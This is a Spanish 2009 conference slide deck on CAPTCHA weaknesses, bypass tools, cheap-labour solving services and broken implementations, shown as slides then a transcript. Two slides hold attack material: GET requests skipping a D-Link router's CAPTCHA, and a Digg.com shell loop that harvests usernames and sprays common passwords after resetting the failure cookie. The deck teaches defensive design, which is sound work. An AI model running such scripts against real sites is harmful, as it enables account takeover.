C[R]APCHAS.



                               Alejandro Ramos
                                    CISSP, CISA




Salamanca – Julio 2009   securitybydefault.com
Completely Automated Public Turing test to
                                          CAPTCHAS.

          tell Computers and Humans Apart.




     Prueba de Turing pública y automática para
C[R]APCHAS. diferenciar máquinas y humano
Curso de Verano - Salamanca, julio 2009
Introducción


                                          • Creador Luis von Ahn,
                                            Manuel Blum y Nicolas J.
                                            Hooper
                                          • Año 2000
                                          • Evitar añadir sitios al
                                            directorio   de   Yahoo!
                                            automáticamente.
                                          • Pregunta – Respuesta
                                          • Reverse Turing


C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
• Antes de llevar a cabo una acción se
       comprueba la condición de Hommer.
     • Previene que software automático realice:
          –   SPAM: blogs, wikis, foros
          –   Registro masivo de usuarios
          –   Votaciones
          –   Fuerza Bruta de usuarios / contraseñas
     • Diseño:
          – Fácil de resolver para el hombre
          – Difícil de resolver para la máquina
          – Fácil de generar y evaluar

C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
Tipos de captcha




C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
¿Contraseña?                              ¿Correcta?

                             NO                                      SI

  ¿Contraseña?                               ¿Correcta?
                              NO
                                                                    SI

   ¿Contraseña?                              ¿Correcta?

                                            NO                 SI




                                          ¿allant?
                         NO                               SI



C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
Evolución

                                             EZ-Gimpy



                                                       + Contraste
                                                       + Fondo
                                                       + Fuente no fija

                                                                  + Línea
                                                                  - Fondos



                                     + Superposición


C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
Captchas no resolvibles                               Accesibilidad




                             http://www.w3.org/TR/turingtest/

C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
Vulnerabilidades
   • Tipo de letra:
        –   No variable
        –   Sin rotación
        –   Colores fijos
        –   Sin deformación
        –   Sin superposición
        –   Misma posición de caracteres
        –   Misma longitud de caracteres
        –   Reducido código de caracteres
   • Fondo:
        – Colores fijos
        – Sin textura o textura fija

C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
Diseño seguro


        •   Rotar colores en la fuente y el fondo.
        •   Uso de mayúsculas y minúsculas.
        •   Letras más oscuras y más claras que el fondo.
        •   Uso de escala de colores (gradient).
        •   No alinear los caracteres horizontalmente.
        •   Sobreponer las letras.
        •   No utilizar palabras de diccionario.
        •   Distinta longitud de caracteres.
        •   Dibujar líneas sobre las letras del mismo color.
        •   Amplio código de caracteres.


C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
Métodos para saltar CAPTCHAs




     • Mediante el uso de
       OCR / IVR
     • Explotando la
       implantación - MoBIC
     • Usando mano de obra
       barata



C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
Cortar, copiar, pintar y colorear




                                                                    A
                                                                    R
                                                                    C
                                                                    3
                                                                    I

C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
Herramientas Disponibles




     • PWNtcha: http://caca.zoy.org/wiki/PWNtcha
     • CAP-OCR: http://cap-cap.ru/
     • Captcha Breaker: http://churchturing.org/captcha-
       dist/
     • aiCaptcha: http://www.mperfect.net/aiCaptcha/




C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
PWNtcha




C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
Ataques 2008




        Google
        (Jan 17) 20%




        Hotmail
        (Feb 6) 30-35%




        Yahoo
        (Feb 22) 30-35%



C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
Software




C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
jDownloader. jAntiCaptcha




C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
Software comercial




               http://www.guruperl.net/products/captcha-bypass/


C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
Software comercial




               http://www.guruperl.net/products/captcha-bypass/


C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
Software comercial




               http://www.guruperl.net/products/captcha-bypass/
                         http://xrumer-palladium.blogspot.com/
C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
Software comercial




               http://www.guruperl.net/products/captcha-bypass/
                         http://xrumer-palladium.blogspot.com/
C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
Servicios Captcha




                        http://www.lafdc.com/captcha/
C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
Captchas de Voz


    •No son efectivos
    •Más inseguros que los tradicionales de imágenes
    •Poco difundidos
    •Pruebas de concepto para Google
    •IVR (Interactive Voice Response)




    http://blog.wintercore.com/?p=11
    http://vorm.net/captchas

C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
Resolviendo Captchas a Bajo coste




    Resolviendo CAPTCHAS Semiautomáticamente
C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
A mano…




C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
Decaptcher.com




C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
Explotando usuarios




C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
Explotando usuarios




C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
IMPLANTACIONES


C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
Router D-Link
    1. Modificación de los DNS del
       router por malware (pharming)
    2. D-Link actualiza firmware
       añadiendo un CAPTCHA a la
       autenticación.
    3. La implantación es incorrecta,
       paginas como la que gestiona
       contraseña WPA, son accedidas
       sin necesidad de CAPTCHA

  GET /post_login.xml?hash=c8[…]a&auth_code=02F&auth_id=26
  GET /
      /post_login.xml?hash=c8[…]6a
  GET /
      /wifisc_add_sta.xml?method=pbutton&wps_ap_ix=0


                   http://www.milw0rm.com/exploits/8696

C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
Fallos genéricos en Implantaciones

     • Re-utilizando el ID de sesión para un
       CAPTCHA conocido
     • Envío de identificación de CAPTCHA +
       solución, re-utilización de CAPTCHAs
       conocidos.
     • Reiniciando intentos con usuario conocido
     • Uso de un número reducido de CAPTCHAS
       (generación de BBDD)
     • Vulnerable a otros ataques web: XSS,
       CSRF, etc


C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
DNI-Pasaporte




<td align="center" style="font-size: 30pt; font-family: Courier; color: blue;">T</td>
<td align="center" style="font-size: 30pt; font-family: Arial; color: blue;">B</td>
<td align="center" style="font-size: 30pt; font-family: Arial Black; color: blue;">I</td>
<td align="center" style="font-size: 30pt; font-family: Arial Black; color: blue;">J</td>


    http://rafavargas.com/2008/05/14/un-candidato-a-peor-captcha-de-la-historia/

 C[R]APCHAS.
 Curso de Verano - Salamanca, julio 2009
Red.Es




                 http://mnm.uib.es/gallir/posts/2007/06/09/1108

C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
Worlds’s most influential person   Revista Time




C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
Análisis del Captcha - Recaptcha




C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
Análisis del Captcha - Recaptcha




C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
reCaptcha.com




        •60 millones de captcha resueltos por día
        •Technorati, meneame, twitter, lastfm.es …. Etc
        •10 millones de palabras por día
C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
Inundación de “penis”




C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
Inundación de “penis”




C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
Inundación de “penis”




C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
Megaupload.com

         Descarga de Archivo




        http://wwwq3.megaupload.com/gencap.php?60d8950a074984e0.gif




C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
Captchanumbers (php class)




      http://www.lucianobello.com.ar/post/captchas-the-good-the-
                          bad-and-the-ugly/

C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
Digg.com




C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
Digg.com

 •Envío usuario y contraseña mediante un POST

 •El servidor crea una sesión y devuelve un 302 (redirección) a
 otra página que comprueba si la sesión es correcta o
 incorrecta en base al usuario y contraseña

 •Si la contraseña es válida paso, si no es válida me envía a la
 página de autenticación con un error y la misma sesión que
 suma 1 error fallido.

 •Elimino la sesión (y con ello el contador) y repito el envío de
 usuario y contraseña, volviendo al punto 1. Por lo que el
 captcha no aparecerá nunca al no sumar los cuatro intentos.

C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
Digg.com
                                             302
                                          Set-Cookie
                                                             Se comprueba
  POST                    Cookie?                               session
 con u/p                                                       generada
                                          Hay Cookie
                 Fallos = 3
                                                                Valido?

                                          Cookie: fallos+1

       CAPTCHA                                                Validado



C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
Digg.com
                                             302
  Se elimina
    cookie                                Set-Cookie
                                                         Se comprueba
  POST                    Cookie?                           session
 con u/p                                                   generada
                                          Hay Cookie
                 Fallos = 3
                                                            Valido?

                                     Cookie: fallos +1

       CAPTCHA                                            Validado



C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
Digg.com
 Usuarios demócratas: (nicknames == usernames)
 for i in `seq 1 1018`; do
  curl –d "getdpage=$i&id=10&page=3&friends=0"
           "http://digg.com/politics/Bobama_s_44th_Amer/who” |
  grep users|sed -e 's|.*href="/users/(.*)">.*|1|g’
 done



  Password “123456” (nadie la usa)
  for pass in password 123456; do
      for i in `cat USUARIOSOBAMA`; do
        echo -n $i:$pass
       curl -c digg.txt -s -L -D - -d "username=$i&password=$pass&persistent=on"
  'http://digg.com/login/prepare/digg'| grep -Ei "D.meta.user.loggedIn|incorrect";
          done
  done |tee -a passwd2.digg

C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
Digg.com




           http://www.enriquedans.com/2009/04/digg-0wned.html

C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
Digg.com




           http://www.enriquedans.com/2009/04/digg-0wned.html

C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
Conclusiones


     • Los CAPTCHA son un sistema de eficacia
     dudable.
     •El mayor riesgo al que se somete es la
     mano de obra barata.
     •Su implantación es compleja y requiere de
     un análisis profundo.
     •Un diseño incorrecto                puede   volver   la
     medida inútil


C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009

Más contenido relacionado

PDF
Libro de Seguridad en Redes
PDF
Cookies y privacidad, tocino y velocidad - sh3llcon (Enero 2015)
PDF
Rooted con 2015 - Rojos y Azules: dos equipos con dos sabores
PDF
Cookies y otras tecnologías de monitorización en internet
PDF
Ejemplos de seguridad en aplicaciones moviles (IOS)
PPTX
Mecanismos de autenticación-identificación. Vulneración y cracking de contras...
PDF
Te pique lo que te pique, analiza un SQLite
PDF
Libro de Seguridad en Redes
Cookies y privacidad, tocino y velocidad - sh3llcon (Enero 2015)
Rooted con 2015 - Rojos y Azules: dos equipos con dos sabores
Cookies y otras tecnologías de monitorización en internet
Ejemplos de seguridad en aplicaciones moviles (IOS)
Mecanismos de autenticación-identificación. Vulneración y cracking de contras...
Te pique lo que te pique, analiza un SQLite

Más de Alejandro Ramos (15)

PDF
Forense en windows - Resolución Reto I de Dragonjar
PPTX
Análisis forense en linux - Compromised Linux Server
PDF
Advanced password cracking
PDF
Seguridad en PDF: Adobe ¬¬
PDF
PDF
Jornada de ciberdefensa stuxnet
PDF
Resolución de concursos de la NoConName 2010 v1.0
PDF
Pentest curso de verano - valencia 2010
PDF
Seguridad en PDF - Adobe ¬¬
PDF
Rooted2010 Otp
PDF
Owasp Top10 FireFox
PDF
Fist - Negocio Pirateria
PDF
Seguridad en Bluetooth
PDF
PDF
DoS En La Ciberguerra
Forense en windows - Resolución Reto I de Dragonjar
Análisis forense en linux - Compromised Linux Server
Advanced password cracking
Seguridad en PDF: Adobe ¬¬
Jornada de ciberdefensa stuxnet
Resolución de concursos de la NoConName 2010 v1.0
Pentest curso de verano - valencia 2010
Seguridad en PDF - Adobe ¬¬
Rooted2010 Otp
Owasp Top10 FireFox
Fist - Negocio Pirateria
Seguridad en Bluetooth
DoS En La Ciberguerra
Publicidad

Último (20)

PPTX
Curso de generación de energía mediante sistemas solares
PDF
ADMINISTRACIÓN DE ARCHIVOS - TICS (SENA).pdf
PDF
TRABAJO DE TECNOLOGIA.pdf...........................
PPTX
El uso de las TIC en la vida cotidiana..
PPTX
Control de calidad en productos de frutas
DOCX
Trabajo grupal.docxjsjsjsksjsjsskksjsjsjsj
PPTX
Reconocimiento-Automatico-de-Placas-Vehiculares-con-IA.pptx
DOCX
TRABAJO GRUPAL (5) (1).docxsjsjskskksksksks
PPTX
CLAASIFICACIÓN DE LOS ROBOTS POR UTILIDAD
PPTX
Historia Inteligencia Artificial Ana Romero.pptx
PDF
NREN - red nacional de investigacion y educacion en LATAM y Europa: Caracteri...
DOCX
Trabajo informatica joel torres 10-.....................
PPTX
ccna: redes de nat ipv4 stharlling cande
PDF
Teoría de estadística descriptiva y aplicaciones .pdf
PDF
Documental Beyond the Code (Dossier Presentación - 2.0)
PPTX
Sistema de Gestión Integral TCA Ingenieros.pptx
PPTX
Diapositivas Borrador Rocha Jauregui David Paolo (3).pptx
PDF
capacitación de aire acondicionado Bgh r 410
PDF
Distribucion de frecuencia exel (1).pdf
PPTX
Mecanismos-de-Propagacion de ondas electromagneticas
Curso de generación de energía mediante sistemas solares
ADMINISTRACIÓN DE ARCHIVOS - TICS (SENA).pdf
TRABAJO DE TECNOLOGIA.pdf...........................
El uso de las TIC en la vida cotidiana..
Control de calidad en productos de frutas
Trabajo grupal.docxjsjsjsksjsjsskksjsjsjsj
Reconocimiento-Automatico-de-Placas-Vehiculares-con-IA.pptx
TRABAJO GRUPAL (5) (1).docxsjsjskskksksksks
CLAASIFICACIÓN DE LOS ROBOTS POR UTILIDAD
Historia Inteligencia Artificial Ana Romero.pptx
NREN - red nacional de investigacion y educacion en LATAM y Europa: Caracteri...
Trabajo informatica joel torres 10-.....................
ccna: redes de nat ipv4 stharlling cande
Teoría de estadística descriptiva y aplicaciones .pdf
Documental Beyond the Code (Dossier Presentación - 2.0)
Sistema de Gestión Integral TCA Ingenieros.pptx
Diapositivas Borrador Rocha Jauregui David Paolo (3).pptx
capacitación de aire acondicionado Bgh r 410
Distribucion de frecuencia exel (1).pdf
Mecanismos-de-Propagacion de ondas electromagneticas
Publicidad

Crapcha Sv1.0 Slide Share

  • 1. C[R]APCHAS. Alejandro Ramos CISSP, CISA Salamanca – Julio 2009 securitybydefault.com
  • 2. Completely Automated Public Turing test to CAPTCHAS. tell Computers and Humans Apart. Prueba de Turing pública y automática para C[R]APCHAS. diferenciar máquinas y humano Curso de Verano - Salamanca, julio 2009
  • 3. Introducción • Creador Luis von Ahn, Manuel Blum y Nicolas J. Hooper • Año 2000 • Evitar añadir sitios al directorio de Yahoo! automáticamente. • Pregunta – Respuesta • Reverse Turing C[R]APCHAS. Curso de Verano - Salamanca, julio 2009
  • 4. • Antes de llevar a cabo una acción se comprueba la condición de Hommer. • Previene que software automático realice: – SPAM: blogs, wikis, foros – Registro masivo de usuarios – Votaciones – Fuerza Bruta de usuarios / contraseñas • Diseño: – Fácil de resolver para el hombre – Difícil de resolver para la máquina – Fácil de generar y evaluar C[R]APCHAS. Curso de Verano - Salamanca, julio 2009
  • 5. Tipos de captcha C[R]APCHAS. Curso de Verano - Salamanca, julio 2009
  • 6. ¿Contraseña? ¿Correcta? NO SI ¿Contraseña? ¿Correcta? NO SI ¿Contraseña? ¿Correcta? NO SI ¿allant? NO SI C[R]APCHAS. Curso de Verano - Salamanca, julio 2009
  • 7. Evolución EZ-Gimpy + Contraste + Fondo + Fuente no fija + Línea - Fondos + Superposición C[R]APCHAS. Curso de Verano - Salamanca, julio 2009
  • 8. Captchas no resolvibles Accesibilidad http://www.w3.org/TR/turingtest/ C[R]APCHAS. Curso de Verano - Salamanca, julio 2009
  • 9. Vulnerabilidades • Tipo de letra: – No variable – Sin rotación – Colores fijos – Sin deformación – Sin superposición – Misma posición de caracteres – Misma longitud de caracteres – Reducido código de caracteres • Fondo: – Colores fijos – Sin textura o textura fija C[R]APCHAS. Curso de Verano - Salamanca, julio 2009
  • 10. Diseño seguro • Rotar colores en la fuente y el fondo. • Uso de mayúsculas y minúsculas. • Letras más oscuras y más claras que el fondo. • Uso de escala de colores (gradient). • No alinear los caracteres horizontalmente. • Sobreponer las letras. • No utilizar palabras de diccionario. • Distinta longitud de caracteres. • Dibujar líneas sobre las letras del mismo color. • Amplio código de caracteres. C[R]APCHAS. Curso de Verano - Salamanca, julio 2009
  • 11. Métodos para saltar CAPTCHAs • Mediante el uso de OCR / IVR • Explotando la implantación - MoBIC • Usando mano de obra barata C[R]APCHAS. Curso de Verano - Salamanca, julio 2009
  • 12. Cortar, copiar, pintar y colorear A R C 3 I C[R]APCHAS. Curso de Verano - Salamanca, julio 2009
  • 13. Herramientas Disponibles • PWNtcha: http://caca.zoy.org/wiki/PWNtcha • CAP-OCR: http://cap-cap.ru/ • Captcha Breaker: http://churchturing.org/captcha- dist/ • aiCaptcha: http://www.mperfect.net/aiCaptcha/ C[R]APCHAS. Curso de Verano - Salamanca, julio 2009
  • 14. PWNtcha C[R]APCHAS. Curso de Verano - Salamanca, julio 2009
  • 15. Ataques 2008 Google (Jan 17) 20% Hotmail (Feb 6) 30-35% Yahoo (Feb 22) 30-35% C[R]APCHAS. Curso de Verano - Salamanca, julio 2009
  • 16. Software C[R]APCHAS. Curso de Verano - Salamanca, julio 2009
  • 17. jDownloader. jAntiCaptcha C[R]APCHAS. Curso de Verano - Salamanca, julio 2009
  • 18. Software comercial http://www.guruperl.net/products/captcha-bypass/ C[R]APCHAS. Curso de Verano - Salamanca, julio 2009
  • 19. Software comercial http://www.guruperl.net/products/captcha-bypass/ C[R]APCHAS. Curso de Verano - Salamanca, julio 2009
  • 20. Software comercial http://www.guruperl.net/products/captcha-bypass/ http://xrumer-palladium.blogspot.com/ C[R]APCHAS. Curso de Verano - Salamanca, julio 2009
  • 21. Software comercial http://www.guruperl.net/products/captcha-bypass/ http://xrumer-palladium.blogspot.com/ C[R]APCHAS. Curso de Verano - Salamanca, julio 2009
  • 22. Servicios Captcha http://www.lafdc.com/captcha/ C[R]APCHAS. Curso de Verano - Salamanca, julio 2009
  • 23. Captchas de Voz •No son efectivos •Más inseguros que los tradicionales de imágenes •Poco difundidos •Pruebas de concepto para Google •IVR (Interactive Voice Response) http://blog.wintercore.com/?p=11 http://vorm.net/captchas C[R]APCHAS. Curso de Verano - Salamanca, julio 2009
  • 24. Resolviendo Captchas a Bajo coste Resolviendo CAPTCHAS Semiautomáticamente C[R]APCHAS. Curso de Verano - Salamanca, julio 2009
  • 25. A mano… C[R]APCHAS. Curso de Verano - Salamanca, julio 2009
  • 27. Explotando usuarios C[R]APCHAS. Curso de Verano - Salamanca, julio 2009
  • 28. Explotando usuarios C[R]APCHAS. Curso de Verano - Salamanca, julio 2009
  • 30. Router D-Link 1. Modificación de los DNS del router por malware (pharming) 2. D-Link actualiza firmware añadiendo un CAPTCHA a la autenticación. 3. La implantación es incorrecta, paginas como la que gestiona contraseña WPA, son accedidas sin necesidad de CAPTCHA GET /post_login.xml?hash=c8[…]a&auth_code=02F&auth_id=26 GET / /post_login.xml?hash=c8[…]6a GET / /wifisc_add_sta.xml?method=pbutton&wps_ap_ix=0 http://www.milw0rm.com/exploits/8696 C[R]APCHAS. Curso de Verano - Salamanca, julio 2009
  • 31. Fallos genéricos en Implantaciones • Re-utilizando el ID de sesión para un CAPTCHA conocido • Envío de identificación de CAPTCHA + solución, re-utilización de CAPTCHAs conocidos. • Reiniciando intentos con usuario conocido • Uso de un número reducido de CAPTCHAS (generación de BBDD) • Vulnerable a otros ataques web: XSS, CSRF, etc C[R]APCHAS. Curso de Verano - Salamanca, julio 2009
  • 32. DNI-Pasaporte <td align="center" style="font-size: 30pt; font-family: Courier; color: blue;">T</td> <td align="center" style="font-size: 30pt; font-family: Arial; color: blue;">B</td> <td align="center" style="font-size: 30pt; font-family: Arial Black; color: blue;">I</td> <td align="center" style="font-size: 30pt; font-family: Arial Black; color: blue;">J</td> http://rafavargas.com/2008/05/14/un-candidato-a-peor-captcha-de-la-historia/ C[R]APCHAS. Curso de Verano - Salamanca, julio 2009
  • 33. Red.Es http://mnm.uib.es/gallir/posts/2007/06/09/1108 C[R]APCHAS. Curso de Verano - Salamanca, julio 2009
  • 34. Worlds’s most influential person Revista Time C[R]APCHAS. Curso de Verano - Salamanca, julio 2009
  • 35. Análisis del Captcha - Recaptcha C[R]APCHAS. Curso de Verano - Salamanca, julio 2009
  • 36. Análisis del Captcha - Recaptcha C[R]APCHAS. Curso de Verano - Salamanca, julio 2009
  • 37. reCaptcha.com •60 millones de captcha resueltos por día •Technorati, meneame, twitter, lastfm.es …. Etc •10 millones de palabras por día C[R]APCHAS. Curso de Verano - Salamanca, julio 2009
  • 38. Inundación de “penis” C[R]APCHAS. Curso de Verano - Salamanca, julio 2009
  • 39. Inundación de “penis” C[R]APCHAS. Curso de Verano - Salamanca, julio 2009
  • 40. Inundación de “penis” C[R]APCHAS. Curso de Verano - Salamanca, julio 2009
  • 41. Megaupload.com Descarga de Archivo http://wwwq3.megaupload.com/gencap.php?60d8950a074984e0.gif C[R]APCHAS. Curso de Verano - Salamanca, julio 2009
  • 42. Captchanumbers (php class) http://www.lucianobello.com.ar/post/captchas-the-good-the- bad-and-the-ugly/ C[R]APCHAS. Curso de Verano - Salamanca, julio 2009
  • 43. Digg.com C[R]APCHAS. Curso de Verano - Salamanca, julio 2009
  • 44. Digg.com •Envío usuario y contraseña mediante un POST •El servidor crea una sesión y devuelve un 302 (redirección) a otra página que comprueba si la sesión es correcta o incorrecta en base al usuario y contraseña •Si la contraseña es válida paso, si no es válida me envía a la página de autenticación con un error y la misma sesión que suma 1 error fallido. •Elimino la sesión (y con ello el contador) y repito el envío de usuario y contraseña, volviendo al punto 1. Por lo que el captcha no aparecerá nunca al no sumar los cuatro intentos. C[R]APCHAS. Curso de Verano - Salamanca, julio 2009
  • 45. Digg.com 302 Set-Cookie Se comprueba POST Cookie? session con u/p generada Hay Cookie Fallos = 3 Valido? Cookie: fallos+1 CAPTCHA Validado C[R]APCHAS. Curso de Verano - Salamanca, julio 2009
  • 46. Digg.com 302 Se elimina cookie Set-Cookie Se comprueba POST Cookie? session con u/p generada Hay Cookie Fallos = 3 Valido? Cookie: fallos +1 CAPTCHA Validado C[R]APCHAS. Curso de Verano - Salamanca, julio 2009
  • 47. Digg.com Usuarios demócratas: (nicknames == usernames) for i in `seq 1 1018`; do curl –d "getdpage=$i&id=10&page=3&friends=0" "http://digg.com/politics/Bobama_s_44th_Amer/who” | grep users|sed -e 's|.*href="/users/(.*)">.*|1|g’ done Password “123456” (nadie la usa) for pass in password 123456; do for i in `cat USUARIOSOBAMA`; do echo -n $i:$pass curl -c digg.txt -s -L -D - -d "username=$i&password=$pass&persistent=on" 'http://digg.com/login/prepare/digg'| grep -Ei "D.meta.user.loggedIn|incorrect"; done done |tee -a passwd2.digg C[R]APCHAS. Curso de Verano - Salamanca, julio 2009
  • 48. Digg.com http://www.enriquedans.com/2009/04/digg-0wned.html C[R]APCHAS. Curso de Verano - Salamanca, julio 2009
  • 49. Digg.com http://www.enriquedans.com/2009/04/digg-0wned.html C[R]APCHAS. Curso de Verano - Salamanca, julio 2009
  • 50. Conclusiones • Los CAPTCHA son un sistema de eficacia dudable. •El mayor riesgo al que se somete es la mano de obra barata. •Su implantación es compleja y requiere de un análisis profundo. •Un diseño incorrecto puede volver la medida inútil C[R]APCHAS. Curso de Verano - Salamanca, julio 2009
  • 51. C[R]APCHAS. Curso de Verano - Salamanca, julio 2009